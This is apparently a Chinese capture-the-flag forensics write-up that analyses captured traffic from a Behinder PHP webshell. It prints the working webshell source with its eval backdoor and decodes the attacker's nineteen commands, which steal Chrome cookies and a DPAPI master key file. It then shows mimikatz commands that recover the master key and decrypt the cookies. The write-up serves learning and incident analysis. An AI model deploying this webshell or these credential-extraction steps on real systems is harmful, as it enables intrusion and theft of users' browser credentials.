【Misc】黑客攻击

先是shell脚本

  1. <?php
  2. @error_reporting(0);
  3. session_start();
  4. if (isset($_GET['pass']))
  5. {
  6.     $key=substr(md5(uniqid(rand())),16);
  7.     $_SESSION['k']=$key;
  8.     print $key;
  9. }
  10. else
  11. {
  12.     $key=$_SESSION['k'];
  13. $post=file_get_contents("php://input");
  14. if(!extension_loaded('openssl'))
  15. {
  16. $t="base64_"."decode";
  17. $post=$t($post."");
  18. for($i=0;$i<strlen($post);$i++) {
  19.       $post[$i] = $post[$i]^$key[$i+1&15]; 
  20.      }
  21. }
  22. else
  23. {
  24. $post=openssl_decrypt($post, "AES128", $key);
  25. }
  26.     $arr=explode('|',$post);
  27.     $func=$arr[0];
  28.     $params=$arr[1];
  29. class C{public function __construct($p) {eval($p."");}}
  30. @new C($params);
  31. }
  32. ?>

冰蝎,利用的是动态二进制加密,大致意思是:

因此解密攻击者POST的内容需要尝试异或和AES解密。

  1. <?php
  2.     {   
  3.         $key = 'd59042be6e437849';
  4.         $post = 'DzqZ3o6...内容太长此处省略';
  5.         $t="base64_"."decode";
  6.         $post=$t($post."");
  7.  
  8.         for($i=0;$i<strlen($post);$i++) {
  9.                 $post[$i] = $post[$i]^$key[$i+1&15]; }
  10.                 print $post;
  11.     }
  12. ?>

AES解密网站 http://tools.bugscaner.com/cryptoaes/

这里就是密钥和加密的内容

解密成功,可以看到是base64,恢复成php

  1. @error_reporting(0);
  2. function main($content)
  3. {
  4. $result = array();
  5. $result["status"] = base64_encode("success");
  6.     $result["msg"] = base64_encode($content);
  7.     $key = $_SESSION['k'];
  8.     echo encrypt(json_encode($result),$key);
  9. }
  10.  
  11. function encrypt($data,$key)
  12. {
  13. if(!extension_loaded('openssl'))
  14.      {
  15.      for($i=0;$i<strlen($data);$i++) {
  16.       $data[$i] = $data[$i]^$key[$i+1&15]; 
  17.      }
  18. return $data;
  19.      }
  20.     else
  21.      {
  22.      return openssl_encrypt($data, "AES128", $key);
  23.      }
  24. }$content="f5dfe44a-0213-45db-a617-8db5e5a07ab3";
  25. main($content);

将十九次攻击内容按照同样的方法恢复出来:

  1. $content="f5dfe44a-0213-45db-a617-8db5e5a07ab3";
  2. $mode="list";$path="C:/";
  3. $mode="list";$path="C:/Users/";
  4. $mode="list";$path="C:/Users/shadow/";
  5. $mode="list";$path="C:/Users/shadow/Desktop/";
  6. $mode="show";$path="C:/Users/shadow/Desktop/password.txt";$content="";
  7. $mode="list";$path="C:/Users/shadow/AppData/";
  8. $mode="list";$path="C:/Users/shadow/AppData/Local/";
  9. $mode="list";$path="C:/Users/shadow/AppData/Local/Google/";
  10. $mode="list";$path="C:/Users/shadow/AppData/Local/Google/Chrome/";
  11. $mode="list";$path="C:/Users/shadow/AppData/Local/Google/Chrome/User Data/";
  12. $mode="list";$path="C:/Users/shadow/AppData/Local/Google/Chrome/User Data/Default/";
  13. $mode="download";$path="C:/Users/shadow/AppData/Local/Google/Chrome/User Data/Default/Cookies";
  14. $mode="list";$path="C:/Users/shadow/AppData/";
  15. $mode="list";$path="C:/Users/shadow/AppData/Roaming/";
  16. $mode="list";$path="C:/Users/shadow/AppData/Roaming/Microsoft/";
  17. $mode="list";$path="C:/Users/shadow/AppData/Roaming/Microsoft/Protect/";
  18. $mode="list";$path="C:/Users/shadow/AppData/Roaming/Microsoft/Protect/S-1-5-21-2127750816-4215895028-2373289296-1001/";
  19. $mode="download";$path="C:/Users/shadow/AppData/Roaming/Microsoft/Protect/S-1-5-21-2127750816-4215895028-2373289296-1001/6ecf76bd-1803-437e-92e6-28dd36c907aa";

攻击者执行了很多列目录的操作,看了下password.txt文件(内容解密后是p@ssw0rd)并下载了两个文件:谷歌浏览器的cookies和用户的Master Key file。

题目的意思大概是要我们导出谷歌浏览器中保存的密码。这就涉及到了DPAPI(Data Protection API),是用来加密数据的接口,比如Chrome的Cookies。DPAPI使用了Master Key这个东西来加解密。而Master Key是通过用户的密码HASH来加密生成的。其中Master Key用Masterkey File得到,也就是上面第二次下载的文件。

C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>
<SID>是用户的安全描述符,<GUID>是Master Key的名字。

 

使用mimikatz

已知用户登录密码password,用户SID,GUID,那就可以解出MasterKey

将下载的第二个文件导出成十六进制

然后使用mimikatz导出MasterKey

  1. dpapi::masterkey /in:"C:\Users\during\Desktop\6ecf76bd-1803-437e-92e6-28dd36c907aa" /sid:S-1-5-21-2127750816-4215895028-2373289296-1001 /password:p@ssw0rd /protecte
  1. [masterkey] with password: p@ssw0rd (protected user)
  2. key : dc273990f4a61dde19f7708be532a9ed08e9e0d21581fb29c6d3ddcfbccad5a4dfe09b9fdfe54c78841dead69035c89f3ab577522b58b9d7c5740fcdb8095c1a
  3. sha1: 620059f8573ebe9113fa5eaed72d8fef45469ea

同样的方法使用masterkey导出chrome的cookie,是SQLite文件,改后缀为db

--By Wander

猜你喜欢

转载自www.cnblogs.com/neu-cdr/p/13187070.html